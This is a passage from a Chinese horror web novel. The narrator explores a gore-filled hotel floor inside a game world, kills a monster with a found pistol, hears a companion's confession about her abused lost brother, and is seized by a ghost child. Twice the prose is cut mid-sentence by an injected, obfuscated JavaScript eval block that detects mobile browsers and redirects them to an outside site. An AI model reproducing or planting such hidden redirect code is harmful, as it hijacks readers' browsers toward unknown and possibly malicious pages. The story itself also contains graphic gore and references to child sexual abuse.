我还没见过这么畏头畏尾、局促不安的莫莉,灰头土脸的,简直跟初见时那个艳光四射、摇曳生姿地走进餐厅的莫莉判若两人。 我没作声,只是审视着她的脸:其实还是很漂亮,五官分明没有任何变化,但就是黯淡了,仿佛明珠的光辉褪去,露出了死鱼目一样的本质。 看来精神面貌的确会影响一个人的外在表现。 仔细想想,这件事其实也早有端倪: 第一天在餐厅里,莱特见到我,用的是"another",说明他此前也调侃过先进入的黛西。 但对于莫莉这样一位无论是从主观还是从客观都无法否认其美貌的大美人,他却跟被毒哑了一样,一个屁都没放,怎么想都很奇怪吧? “你为什么对他心里有愧?你们是亲生的吗?如果是,你为什么今天才认出他来?” 我还能再花几分钟来听听八卦? 不过这也是为了我的任务能顺利进行……我是这么安慰自己的。 毕竟获取NPC的信任,从他们嘴里套情报,也是条法子嘛。 “你还记得第一天,你给我推荐了什么书吗?” “当然记得,《追风筝的人》嘛。这本书有什么不对吗?” 这回,莫莉没有马上接腔,长久地沉默着。 “哈……你知道吗,我其实,不相信命运。” 她深吸一口气,似乎用尽了全身的力气,才好不容易撕开伤口,将那些不为人知的过往袒露出来,暴露在阳光下。 “但那天,听见你一张口,给我推荐的竟然就是它。” 不由自主地,说到此处,莫莉竟打了个冷颤。 “我就觉得……在冥冥之中,我的报应来了。” 我们还算顺利地到达了五楼,六楼就是天台。一路走过来,我才知道四楼到底有多么整洁:五楼无疑经历了一场浩劫,满地是残肢、血迹、碎瓷片,以及一些吸饱了血液的棉絮、海绵和布料碎片。 触目惊心。 《追风筝的人》主要讲了什么来着? 我一边检查现场,一边回忆。 碎瓷片来源于走廊两侧和电梯口附近摆放的一些起装饰作用的瓷花瓶,有专供观赏用的巨型花瓶,足有一人之高;也有比较小巧些、专门用来插花的,只是无一不被摔得稀巴烂。 粉色的蝴蝶兰本来应该好好插在花瓶里,现在却被碾碎成了烂泥,残存的花瓣更是蔫得不成样子,犹如落入血泊中的蝴蝶,奄奄一息,真可惜啊。 布料碎片则来源于设在拐角处的休息区沙发,被撕得七零八落,填充物和弹簧都露在外面——我想不通为何沙发也会受到袭击? 我忍着恶心,细细翻看那些尸体,和楼梯间里见过的那具大同小异,都是皮肉、筋膜和脂肪被生生扯了下来,露出里面白森森的骨头架子,血管的断口就这样露在外面,出血量极大,这才造就了几乎弥漫整个空间的血腥气,以及被浸得发黑发硬的厚地毯。 到底是什么东西,会用这么残忍的手法杀人? “啊——” 是莫莉的声音! 我想也没想,拔腿赶过去,却见她死死捂住自己的嘴,明明浑身颤抖,却仍然僵硬地站在原地不敢动弹。 “怎么了?”我以气声询问她。 她面如土色,那双橄榄绿的大眼睛里充斥着惊恐和泪水,一手缓缓指了指自己的脚下。我便随着她手指的方向看去—— 是一颗眼球,就滚落在她的脚边。 “我、我踩到了……”她战战兢兢说。 “没事的。”我低声安慰她,矮身蹲下,随便找来块碎瓷片拨弄了它两下,想更仔细检查这颗眼球。 它很干净,后面牵连着一些根状神经结构,眼白甚至还没有变得浑浊,给人一种新鲜的感觉,像是刚从眼眶中生生挖出来的。 刚从坑里挖出来的萝卜,还带着泥土,水灵灵的,大概就像它这样的吧。 不过,二者之间其实还是存在着一丝差别的,而这细微之处,也正是令我感到疑惑的地方。 “怎、怎么……了?”这下轮到莫莉问我了。 也对,我端详它确实有点久了,她大抵理解不了一颗死人眼球到底有什么好看的。 我说:“有点儿不对劲。” “哪里不对劲?” “它太干净了。” 的确是太干净了,也不知道它在地上躺了多久,竟丝毫不曾沾染上污渍;而且,丝丝缕缕的植物根系状神经结构上,也不见碎肉和血块残留。 拔萝卜还带出泥呢,这颗眼球却洁净标准得活像医学院里的教具,恐怕连经常对着电脑的我,眼白都比它发黄。 我用碎瓷片把它拨到正面,球体一动,那双瞳光碎得跟稀粥似的并排瞳孔便径直对上我的视线,黑洞般的两点,里面似乎还有什么米虫状白点在一耸一耸地蠕动,看得我头皮发麻,将碎瓷片一扔就踉踉跄跄站起来。 “这恐怕不是人的眼球。”我说。 起得太猛,脑瓜子晕晕乎乎的,眼前还冒着一圈圈金星。 虽然重瞳其实也是存在的,近的不说,就拿历史上的一位名人——写出“梦里不知身是客,一晌贪欢”的南唐后主李煜来举例,他便是天生一目重瞳,所以表字取为“重光”。 但正常人就算重瞳,虹膜里怎么会有这么多密密麻麻的的白点?就跟珠颈斑鸠的脖子那样,看得我密集恐惧症都犯了。 当——当—— 我猛一哆嗦,用了几秒才反应过来那是挂在楼梯口附近的一只实木壁钟,大概有我上半身那么长,整点会报时,不管是几点都只会敲响两下,钟声洪亮,响遏行云。 在四楼的同一位置也有一只一模一样的壁钟,不过这家酒店墙壁挺厚实,隔音效果蛮好,因此在房间里是听不见的。 事不宜迟,现在真的要快点行动了。 “我去搜那一侧。” 我指了指502一侧的走廊,又指指餐厅一侧的走廊,“这边就拜托你了,请务必小心些。一个小时后,我们在这条走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609678|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廊会合。” 莫莉点点头,小心翼翼地绕开地上那颗眼珠,于是我们暂时分头行动。 502的房门敞着,地毯上长长一道血痕延伸向内间,明显是拖拽型血迹,看着甚至还显得有些潮湿。幸好我穿的马丁靴是橡胶鞋底,应该具有一定的防滑功能…… 我想什么呢,客房的地板上都铺着一层吸音用的厚地毯,当然也可以吸血,再怎么样也不可能把我滑倒。 房间内没见到半个人影,不管是活人还是尸体——当然若是见到了,恐怕该害怕的就是我了。我从小冰箱里找到了两颗苹果、一只梨和几包饼干,还有两罐碳酸饮料,将这些尽数装进了我的背包里。 苹果因为太耐放,反而不讨喜呢。 茶几上有一只巴掌大小的收音机,这使我回想起小时候考英语听力时不太美妙的经历——你能想象大舌头的人念课文吗?嘴里像含着一口痰说话似的,舌头总也捋不直,我脖子都要伸出去二里地了也听不懂,真叫人火大。我看他们不如聘请我去录听力,肯定能造福广大学子。 说不定有用呢,带上吧。 我将收音机也装进了背包里。 502似乎没什么可拿的了。我走出房门,前往503。 我抓住门把,试着向下一按,结果纹丝不动。 503的房门锁着,然而这根本难不倒我。拐角的休息区不是有很多尸体吗?也许503客房的主人就倒在那儿。 到处都是血淋淋的,没有洁癖也要被逼出洁癖来了,更何况我本来就有洁癖。我屏息凝神,忍着手上滑腻腻的触感去翻尸体的口袋——但人都这样了,衣服又能完好到哪里去? 我还借此机会检查了一下尸体们那些较为完好的创面,想研究对它们造成伤害的究竟是什么武器。 吃过月饼吗?这是我们中国人在中秋节往往会吃的一种传统美食。一条小弧线接着另一条一模一样的小弧线,首尾相连,这就是月饼的边缘,创口正是由类似的器物造成的。 有什么东西可以造成这样的伤口?我想了很多。 饼干模具?刨屑刀?小镰刀?锯齿弯刀? 都不太像。不是大小对不上,就是弧度对不上。 算了,当前形势可容不得我慢慢转动脑筋。 小小的牺牲果然是有回报的:被压在底下的一具尸体上身套着一件残破的西装外套,口袋中就有那张众望所归的503房卡。 刷卡入内,室内一片狼藉。我顾不得管其它,先冲进浴室,一掌拍开水龙头,在激射而出的水流中使劲揉搓双手,终于稀里哗啦洗了个痛快,这才长舒一口气。 房卡还能用,没消磁,真是万幸。 鲜血残留在皮肤上的感觉真是黏糊得令人直起鸡皮疙瘩。我抬头,扫了眼架子上挂着的白毛巾,踌躇片刻,还是选择在冲锋衣上胡乱揩了两把,踏出浴室,径直走向房间一角的小冰箱。 我的洁癖其实说严重也不严重,如果是自己的血倒还无所谓,别人的—— 门一开,我与一件从来没想过会在这里见到它的东西面面相觑。 19. 恐惧来源 贝雷塔87型5.6mm半自动手枪,沉稳流畅的设计,后座力小,准确度高,表现稳定,是射击俱乐部和靶场上的常客,也是我的老朋友。 我强忍激动的心情,将它轻轻拿起来,冰凉的枪身紧紧贴住我掌心,连日笼罩在心头的阴翳顿时一扫而空。 检查了一下弹匣,足足十发!我简直要高兴得一蹦三尺高了! 一切恐惧来源于火力不足——此话不假。这才是能让我的心踏踏实实落回肚子里的铁秤砣! 那具西装革履的尸体生前是什么人?警察?特工?黑手党?射击爱好者? 这些都不重要了。 重要的是,它费尽心思藏起来的枪,现在是我的了! 虽然没能从503翻出半块饼干屑,但我可是得到了比满满一屋子的食物还要重要的东西! 当然,没有说满满一屋子的食物在此情此景下不重要的意思。 我捧着它,看了又看,满意得不得了。好不容易看够了,才珍而重之地把枪放进冲锋衣内侧口袋,走出503。 下一个房间是504。 站定于房门前,我刚想朝门把伸出手去—— 忽然,虚空中一无形之物,就像一只看不见的大手,穿透我的脑壳,指甲刺入我粉红柔软的脑组织内,轻轻拨动了我敏感紧绷的神经。 就像一只本来在草原上悠闲吃草的羚羊,突然食不下咽、行坐不安。 野兽的直觉告诉它,自己已经被某种大型食肉动物盯上了,危险来源正潜藏在身后的视野盲区,就等自己放松警惕时,骤然发难。 这里的确太过安静了些。 我狠狠咽了一口唾沫,猛一回头—— 只见走廊另一端的尽头,从可见范围内的右侧,就像切换下一张幻灯片一样,正缓慢地推进来什么…… 先是一片素色的衣角。 我眯起眼,辨认出那是莫莉今天穿的上衣,一件便于行动的干练衬衫。 怦怦、怦怦……认识到这意味着什么后,我的心顿时高高提到了嗓子眼。 如果单纯只是莫莉在走动,我当然不可能觉得毛骨悚然。 但关键就在于,它不是在站立高度被推进来的。 一个匍匐在地的人影慢慢挪进了我的视野——不,不是匍匐前进的,那是莫莉! 她正以双手后撑的姿势,一寸一寸地往后挪…… “莫……” 我正要开口喊她,却蓦地一激灵,及时住了嘴。然而这一微小的动静竟被她捕捉到了,头微微偏向我,嘴唇一张一合,用口型说着什么,眼底满是绝望。 S、T、O、P——STOP?! 我原地驻足的当口,她已经以手脚并用的怪异姿势,慢慢挪到墙根,双手紧紧捂住自己的口鼻,浑身战栗。 那步步紧逼着她的东西便也顺理成章地在我的视野中显形—— 一个将近两米高的“人”,衣衫褴褛,浑身浴血,正伸长了脖子,狗似的用自己脸上最突出的部位去探查前方,鼻翼不断地耸动着,频率极高。因糊满油脂和血污而结成一绺一绺的头发将它的脸挡得严严实实,已经看不清原来的颜色了,但我眼力还可以,勉强能辨认出缝隙下的皮肤表面暴露出斑斑青紫痕迹。 我脑海里蓦然闪过那颗不幸被莫莉踩中的眼球,一刹那间福至心灵。 这家伙已经不是人了! 想明白这一点,我毫不犹豫,左眼一闭,举枪便射—— 砰! 完全不需要演练,双臂平举、扣动扳机的动作几乎是下意识的肌肉记忆。千分之一秒之际,子弹脱膛而出,如离弦之箭,顷刻间便穿脑而过,“噗”地激起一蓬血雾。 血雨洋洋洒洒落了莫莉满身,她肉眼可见地呆在原地,面色煞白。还不等她回过神来,那东西僵在半空中的身形晃了晃,如山之将倾一般,直挺挺就往她身上倒—— “小心!”我高声疾呼,拔腿便朝她跑去。 这一嗓子终于给她嚎得魂归躯壳。莫莉一抬头,眼见那东西黑压压的就要倒下来,连忙举手去撑。我及时赶到,伸手拦在她身前,猛地一推,那东西便仰面倒下,嘭地重重砸在地毯上,不动了。 莫莉惊魂未定,脸上表情愣愣的,好半晌,才用沾满黑血的手臂撑住背后的墙,一点一点站起来。我这才发现她小腿上有一条足有我手掌那么长的口子,正汩汩往外冒着新鲜的血液,可能是刚才在地上蹭到了碎瓷片。 “这得处理一下,否则会有感染的风险。” 盯着那泉眼似的创口,我感到喉间一阵发痒,不由吞了吞唾沫,拼命抑制那股凑上去喝一口的冲动。 我这句话仿佛什么令人醍醐灌顶的至理名言,莫莉怔怔转过头,那双失焦的瞳孔里霍地恢复了神采,望向我的眼睛陡然泪流不止。 她双臂一伸,一把抱住我,整个人挂在我身上,嗓音里满是劫后余生的惊惶未定,“我还以为、还以为……我要死了……” “没有死,还活着。” 我顺势环上她的腰,轻轻拍着她的后背安慰她。冲锋衣外套的长袖从小臂上滑落,本就起了层鸡皮疙瘩的皮肤一触及冰冷的空气,拨动汗毛根根倒竖。 我没敢对她说,那股被人窥伺的阴寒感觉竟还未消失。 怎么会这样? 这层楼里的危险一定不止这东西。 “我要跟你说、我要跟你说……” 她惶惶不安,干燥的嘴唇嚅动着,仿佛置身梦境,不断重复着相同的字句,声音破碎:“我怕我再不说,就、就……没机会说了……我要忏悔……我要赎、赎罪……我要告诉你……全都告诉你……” “好、好,你慢慢来。我就在这里听你说话,哪儿也不去,好吗?”我耐心地安抚她。 直觉告诉我,她要说的,一定会有助于我完成任务。 “我、我十岁的时候,带弟弟去公园玩,那时他五岁……” 莫莉在我怀里微微发抖,像一只刚刚破壳的雏鸟,纤薄如纸的滚烫皮肉在稀疏羽翼下细细颤动。 “虽然我曾看到新闻说,这附近已经发生了好几起儿童失踪事件,但我仍然心怀侥幸,总觉得不会那么凑巧,所以,还是去了。 “结果我只是去买个雪糕的功夫,一不留神,他就不见了…… “我的家庭因此分崩离析——父母只剩我一个孩子,无法再苛责于我,但却也无法原谅我弄丢弟弟。父亲提了离婚,远走他乡,听说又重新组建了家庭。 “我知道如果不是母亲拦着,他一定恨不得把我也丢掉。我曾经听见他朝我母亲大吼‘看你生的好女儿!’ “我母亲无法反驳,只能默默地捂住嘴流泪…… “为了赎罪,这些年我一直在找他。我早就失去了父亲的音讯,母亲也精神失常,我只好把她送进精神病院先慢慢疗养。 “如果能回到二十三年前的那天,我一定不会带他去公园玩! “也许是上帝听到了我的心声,去年我出席了一场慈善晚宴,见到了莱特。 “只一眼,我就知道他一定是我弟弟——” “等一下。” 虽然知道这样很不礼貌,但我还是忍不住出言打断:“你怎么知道他是你弟弟呢?这么多年过去了,人的长相肯定是有变化的……” “我委托了一名警局的专业画像师,她有这种神通广大的本事。” 莫莉哽咽着,抬手抹掉眼泪,还很贴心地顺带把我脖颈上的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609679|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一并用袖子擦干净,“只要看过他小时候的照片,她就有本事画出他现在的模样。” 这么神奇?这难道也是所谓“异能”吗? 不对,我想什么呢,这只是游戏内的NPC在阐述自己的背景故事,不是现实、不是现实! “没想到,他拒绝认我……我知道他一定也认出我来了,但是……” 她语无伦次,喉间不断抽噎着,声音又染上哭腔:“我知道,他一定对我怀恨在心,无法释怀为什么我丢下他。可是、可是……他不该因为我的缘故惩罚自己!我知道收养他的那人,不是什么好东西……” “怎么说?” “虽然我知道这么做不道德,但还不能完全确定他是我弟弟的时候,我请了私家侦探去他的住所蹲守。在出入其中的所有人里,有个老头最频繁,我觉得他身上可能会有什么线索,于是让侦探跟踪他……” 说到这里,莫莉猛然松开我,直视着我的双眼,神情怔忪。 “你知道,私家侦探拍下了什么样的照片吗?” “什么样的?” “他、他去做了幼儿园的义工,然后,偷偷拍下了那些孩子们的私|处……” 我听着听着,不知不觉惊得半张开嘴——这也太恐怖了! 那这么些年,莱特过的都是什么地狱日子…… 我突然觉得他的种种行为也不是不能原谅的了。 说到这里,莫莉忽地攥紧拳头,眼里霍然蹿出熊熊怒火,“看到照片的那一刻,我恶心得当场就吐了出来,而后等私家侦探搜集到了足够的证据,立刻报了警。” 哎?我怎么记得,就算在私家侦探合法的国家和地区,跟踪和偷拍也是非法手段? 算了,莫莉可能有另外的门路,先听下去。 “但是,莱特找上我,要求我撤销立案,说那会影响他的事业,我这才知道原来那老头在这方面帮了他不少忙。我脑子很乱,一时间不知道该如何是好,晕头转向地去了警局,他们却说这种性质恶劣的重大事件,已经立案就不可能再撤销。 “我查到他走丢没多久,就被这老头买下了,不知怎么回事,竟然还走了正式的收养流程!我简直不敢想象他这二十年究竟过的是什么炼狱一般的生活……” 莫莉好不容易止住的眼泪又流了出来。她双手掩面,泣不成声道:“都是我的错,要是我没弄丢他该多好……我没想过会这样的……” “好了好了。”我的心里也很震惊愤怒,但此时能做的也就只有拍拍她的肩头,为她揉捏了两下,“过去的已经无法挽回,你再怎么内耗都没用,应该朝前看。解决问题的方法永远在前方,活在过去只会让你日趋抑郁,想明白这一点就好了。” 想了想,我又补充道:“正好我们被困在这里,这是个跟莱特聊聊的好机会啊!不管结果如何,也算了却你一桩心事。” “嗯,你说得对。”莫莉揉揉哭得通红的眼眶,很勉强地对我笑了一下。 唉,这姑娘。 不过这故事真的好抓马,我收回之前吐槽萧鸮的那句话。她还是挺会写的嘛,去当八点档的编剧完全绰绰有余。 多亏了莫莉这番话,对于目标是谁,我思考片刻,决定推翻先前的定论。 既然莫莉受了伤,我也不打算勉强,先搀扶她回去,如果天还没黑的话,再自己上来搜查一番。 我揣着一把枪这事也不能告诉别人,否则恐怕会引起骚乱。虽然我不是没想过用枪震慑他们,让他们都老老实实服从我的安排——但子弹用完之后呢?我还有什么手段能让他们听话? 所以还是不交代了,先走一步看一步吧。 不过在送莫莉下楼之前,为防夜长梦多,我还有一件事要做。 20. 找我爸爸 情况紧急的时候,一块趁手的碎瓷片完全可以充当临时手术刀。 倒在地上的那东西,似乎只有皮和骨,没有肉。皮囊松松垮垮地套在身上,像穿了一件不合体的大码衣服,根根分明的骨骼轮廓从这层皮衣下凸现,我甚至能看清它整个胸骨架子的形状。 手臂枯瘦如柴,左手还戴着一串佛珠,套了足足五层,珠子触手细腻,纹理柔美,表面有极明显的不规则旋涡。我辨认出这是黄花梨木,价格不低。 再看它的脚,果然套着双与身高十分不匹配的女鞋,像是强行塞进去的,把鞋子撑得都变形了,非得学灰姑娘那两个继姐削足才能适履。 我查看了一番鞋底的大小和纹路,确定正是它在楼梯间留下了血脚印。 没有手套是挺麻烦,但眼下我也顾不上什么洁癖不洁癖的了。为了验证我的猜想,我一手掀起它额前油腻腻的刘海,一手翻开它薄薄的眼皮—— 一只眼眶黑洞洞的,空空如也,只有些露在外头的神经组织,看来莫莉不慎踩到的眼球的确是从这里脱落的; 另一只眼球倒好好地呆在骨腔内,我用指甲拨了拨,很干涩,并没有摸到想象中的柔软湿润。 最重要的是,这只仅剩的眼球,眼白部分和那只脱落的一样,洁白干净,别说血丝,半点发黄的迹象也无。 都到了这当口,我还有什么不明白的—— 该死,那则新闻在骗人! 感染的人根本不会出现那些症状!我们全都被骗了! 电视台早就被怪物占领了! 我气得攥紧拳头,后槽牙被咬得咯吱作响,突然发狠拽出那颗眼球反手一扔,神经和血管顿时被粗暴地扯出眼眶,菌丝一样蓬勃地向外生长。 莫莉早在我伸手拨动眼球时就一瞬也不敢眨,见到这一幕更是吓得一哆嗦,幻痛般紧紧缩起了脖子。我听见她怯声怯气地问:“夏,你怎么有六根手指?” 啊,第六根手指。她不说,我都把这件事忘了。 闻言,我低头看了看那根多出来的小指——皮肤很粗糙,青青紫紫,布满尸斑,留着长长的、发黄的恶心指甲,歪歪斜斜地长在掌骨侧面,和我其它五根原生手指的画风毫无相似之处。 但再一细看就能发现,这根旁逸斜出的小指,其实跟紧挨着它的那根正常小指长得一模一样。 我可没有把指甲蓄长的习惯,反而总是习惯性地将其保持在一个不碍事的长度。但我知道,在人死后的一段时间内,头发和指甲还会继续生长,因受虐而死的男性,阴|茎甚至会勃|起。 所以这根多出来的尸块手指留着不符合我卫生习惯的指甲长度,也不是什么奇怪的事情。 对了,说起感染程度……这不是正好有个现成的活人吗?我可以问问她嘛。 “莫莉,你这几天睡得好吗?睡眠质量怎么样?有没有做噩梦?” “还不错,基本没做过什么噩梦。不过可能是又见到莱尔的原因,总是会反反复复梦见我把他弄丢的那个公园,以及不断争吵的父母。”莫莉答道。 随后她脸上又浮现出怀念之色,补充道:“我很久没见过父母同时出现了,就算他们站在一起是为了争吵,我竟然也觉得难得可贵。” “是嘛。”我随口应道。 看来她在梦中并没有像我和伊丽莎白那样残暴行事。关键也可能在于她并不把那些伤痛当作噩梦看待。 紧接着我用两根手指撑开了这具尸体的嘴唇,见到了满满当当的一口牙:出乎意料的整洁完美,每一颗牙齿的大小、弧度几乎一模一样,白得发蓝,雪亮的光泽快要闪瞎我的双眼。 当然,如果牙缝间没有残留着血丝和碎肉,那就更好了。 这很难不使我回想起休息区那几具尸体上月饼轮廓状的伤口——原来就是由这口形状规整的牙撕咬出来的啊。 咬合力还真是惊人。 继续往下,指尖划过脏污的皮肤,隔着单薄如纸的一层触及底下坚硬的骨骼质地。它只是未着上衣,裤子还是好好穿着的,但—— “这是怎么回事?!” 我盯着它小腹上那个碗口大的血洞,惊惧与后怕同时涌上心头。 在我的视野中,那血洞上打着薄薄一层马赛克,我只能看见一片黑黑红红的方形色块,内里的具体情况根本瞧不清楚。 这游戏挺智能的,还知道打个马赛克。 莫莉看了看那个血洞,又看了看自己一胳膊的血污,猝然尖叫一声,两眼一翻就晕了过去。 那片血渍大概是她想推开尸体的时候蹭上的,也许当时她的手探入了血洞内,摸到了它柔软滑腻的腹腔。而她正是回想起了这一幕,才终于坚持不住,因精神崩溃而昏倒了。 这么一想,我也舌根发酸,几欲呕吐——换做是我后知后觉地意识到自己曾在毫无察觉的时候,将手伸入了一具似人非人的尸体内部,肯定浑身上下的每一根毛都要根根分明地竖起来了。这比活生生的蟑螂在嘴里跳舞还要恐怖,也难为莫莉竟然还能撑到现在。 我试了试莫莉的鼻息,呼吸正常,应该只是被吓晕了。不过既然她暂时失去了行动能力,那回去的计划就不得不先搁置下来…… 好吧,我承认,其实也不是我不想现在就走,主要是她比我高,身子骨也比我结实,我尝试了两下,实在扛不动。 这副身体要是再高大强壮些就好了。 我撕下自己的一片衣角,为莫莉包扎好小腿上的伤口后,从尸体的裤袋中搜出了504的房卡。 得来全不费功夫,这反而让我有种中了圈套的感觉。 但我又不可能不去,毕竟多一份食物,就是多一分希望。 我一手圈住莫莉的腰,一手抓紧她绕过我脖颈的手臂,半扛半抱地先把人安置在已经搜查完毕的502。这间房距离楼梯口最近,万一有什么意外,不管是她要自己逃跑,还是有人来接应,都比较方便。 我用房卡在门口的感应器上一刷,嘀—— 504的房门打开了。 全身的肌肉在一瞬间紧绷起来。数只无形的蚂蚁挤挤挨挨爬过我的皮肤…… 指甲深深刺入湿滑的掌心,我头晕目眩,死死盯着门缝里露出来的那双小小的红皮鞋,竭力用疼痛来保持清醒。 以及抑制转身逃跑的冲动。 “姐姐……” 一只甲缝里满是黑泥的小手搭在门边,用一种极其不符合这把童稚声线的恐怖力道,轻而易举地,就抵消了我因拼命想把门关上而使出的那股吃奶的劲儿。 那只小手的手背上,青筋甚至丝毫不见暴起。 鬼、鬼——鬼啊! “呜呜……我闻到了,姐姐你身上,有妈妈的味道……” 我真羡慕莫莉,至少她不用清醒着面对这一切。 “你可以带我去找爸爸吗?” 那声音继续抽抽噎噎道。 门户洞开,一个面色苍白的小女孩站在玄关上,我说不好她究竟几岁:她穿着一身洗得发黄的白裙子,布料很皱,似乎满是汗渍。一头长长的黑发也结成一绺一绺的,发顶紧紧贴着头皮,好像很久没有洗过。 油腻腻的头发向两边打开,于是一张猿猴似的怪异面庞无比坦率地露出来,紫铜皮色;眼皮紧紧合着,嘴巴咧开,那口缝隙极大的滑稽牙齿便昭然若揭,和老头老太婆不剩几颗牙的瘪嘴有得一拼。 我不合时宜地想:这小孩,小小年纪就一把年纪。 而且……妈妈? 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如果我说我不找,会不会当场被她掐死,然后在现实世界中清醒过来? 然而这个想法马上便被我自己否定了——我仅剩的记忆里,没有任何关于此类全息游戏的信息,自然也就没有前例可以参考。 万一这种情况像《盗梦空间》里那样,在梦境中受到强烈冲击,就会陷入更深一层的迷失域,最终意识无法回归肉|体,现实中的身体就成了植物人,这该如何是好? 我转头看了看走廊尽头。 仅有几步路远的右手边,就有一扇玻璃窗。 外面还是老样子,犹如灾厄降世,血红天空作背景,一簇簇黑烟直蹿天幕,日夜不息。 至少它们要去的地方,没有尽头。 我头颅不动,只抬起眼,望了望腻子刮得平整的天花板——和三天前一样,干干净净,一丁点蛛网和灰尘都瞧不见。 可是三天又三天之后呢?三年又三年之后呢? 难道我要永远被困在这里吗? “老实点儿。” 锐利的三角形甲尖抵在脖颈处的力道又加大了些,皮肉凹陷,刺痛得我大脑蓦地清醒了一瞬。 “姐姐应该知道吧?虽然你闻上去很好吃,但我暂时还能忍住,先不享用你呢。” 说着,她将鼻尖埋在我肩窝处,深深地嗅了一口,“嗯……真鲜美啊……” 我一动也不敢动。 然而下一秒,她品鉴美食般的享受表情戛然而止,顷刻间便阴云密布。 “不对,你的血肉已经不新鲜了——你做过噩梦?” 21. 我的…… “恋人。” 刹那间,一道闪电劈过我脑后。 要么说童言无忌呢,她知道的事情一定不比我少。 也许我可以从她口中套些话呢? 好了,我知道此“忌”非彼“忌”,虽然本意指的是“忌讳”,但这里就姑且让我当成“顾忌”用吧。 “难道是我想做噩梦的吗?白天这么累,晚上连个觉都睡不好……莫非你知道我为什么会做噩梦?” 她爬都爬上来了,反正一时半会儿也跑不掉——这说的是我。所以我也就顺势用手臂稳稳当当托住她的屁股,像抱小孩那样…… 不对,这就是小孩,鬼小孩也是小孩嘛。我苦中作乐地想。 她从鼻子里哼出一声,心安理得地坐在我小臂上,小手往前一挥,指挥道:“快走呀,快带我去找我爸爸!” 得,这是把我当马骑了呗。 我认命地迈开步子,她把紧紧闭着的眼皮凑到我跟前,睫毛擦着睫毛,又说:“姐姐,看不出来,你长得像模像样的,实际上也是个无法抵抗内心欲望的衣冠禽兽嘛。” “什么意思?” “哼哼……噩梦都是内心欲望的投射哦。” 上钩了! 我当即做出极力辩驳的样子,涨红了脸道:“我没有做奇奇怪怪的梦!我只是梦见有个无面人在虐童!” 这个时候就要用上一些蒙太奇的手法了。这不是谎话,对吧? 我只是没交代清楚,“我”就是那个小孩罢了。 “那你是什么感觉?” 她向我友善地一笑,鼻翼外侧深深地折出了两道不符合年龄的法令纹。 “还能有什么感觉?当然是气到恨不得杀了她了!”我恼怒道。 “所以你也这么做了,对吧?即使是在梦中。” 她笑容不变,甚至加深几分,深得有些诡异了。 “‘往昔所造诸恶业,皆由无始贪嗔痴’,这就给了伊维德二五可乘之机。说是感染,实则不尽然,其实也是考——” 她忽然住了口。 “伊维德二五”是什么?我的好奇心被钓起,正疑惑她怎么不接着往下说,就听见她用恍然大悟的语气道: “你在套我的话呀?” 口腔左侧内壁被臼齿猛地咬住,我将惊呼死死堵回喉咙眼里。一片空白中,我感到有什么冰凉的东西,死鱼一样,散发着浓重的腥气,缓缓地、紧紧地,贴住了我的脸颊,小动物似的,蹭了两下。 “姐姐,你怎么这么聪明呀?” 小女孩用更加亲昵的语气,自顾自说道:“连我都差点被迷惑,和盘托出了呢。 “不过呢,我就喜欢你这样的聪明人,跟那些傻瓜一点儿也不一样。” 不消用眼睛去看,我当然知道贴在我脸上的那东西是什么—— 又臭又黏,是她的脸蛋。 准确来说,是一具尸体,散发着腐烂气味的、遍布尸斑的,脸蛋。 我简直要被恶心得大吐特吐,然而命脉被她拿捏在手里,又不敢表现出一丝一毫的嫌弃意味,只好屏住呼吸、抿紧嘴唇,拼命克制自己偏头躲开的冲动。 “姐姐,还没找到爸爸吗?我好想快点见到爸爸呀!” 半晌过后,她终于蹭够了,心满意足地松开我,用一贯天真的童稚语调喊道。 要不是我身上没配马具,恐怕她都要一扯缰绳,大喊一声“驾”了。 “没有,这里地方大,还得再走一段路。” 餐厅入口就在身后,这已经是我路过的第二个拐角了。 我像是在自己和自己玩四角游戏。 幸亏她看不见。 然而地上铺着厚厚的吸音地毯,我听不见自己的脚步声,就像我不知道自己何时才能停下。 我这个姿势也没法掏枪,现在真是后悔刚才为什么要把它贴身收好。 老天,来个人救救我吧。 “好吧……” 她不满地噘起小嘴,然而没过多久,又兴高采烈起来,“那为了表示答谢,我给你唱首歌听好不好呀?” 马哪里敢拒绝乘客的要求。 “我要我要找我爸爸…… “去到哪里也要找我爸爸…… “我的好爸爸没找到…… “若你见到他就劝他回——” “够了。” 魔音贯耳,我实在忍不住,低喝一声。 歌声戛然而止。小女孩很给面子地住了口,不明所以地望向我。 用那双紧紧闭合的眼皮。 我问她:“你为什么要找你爸爸?” 这首儿歌太悲伤了,在如此紧张的氛围下,我竟然都能听得喉头发酸。 “因为……因为……” 我这问题显然把她难住了,小女孩一时半会儿竟不知怎么回答,遂作思索状,像每一个同龄的正常小孩可能会做的那样,把那么脏的手指头放进嘴里吮吸,看得我又几欲呕吐。 她不会要用牙把指甲缝里的污泥抠下来吃掉吧?呕—— “因为我想跟爸爸说,不要再让妈妈把我打掉了。” 打……掉了? 什么意思? 什么叫“打掉了”? “就是你想的那样没错呀!” 小女孩嘴角一弯,小胸脯一挺,用唱诗般的语调,说: “他老是抽烟、喝酒、熬夜,而且两天就能抽完一包烟,精子活性低,Y染色体又太脆弱啦,根本不可能生出弟弟来的!所以每次来的都是我哦! “你们人类,可千万不要小看基因的力量哦?” “呕——” 我终于再也忍不住,用没抱着她的那只手扶住墙,大口大口地干呕。 她却用一副纯真无邪的表情,讲什么大道理似的,不紧不慢继续念叨: 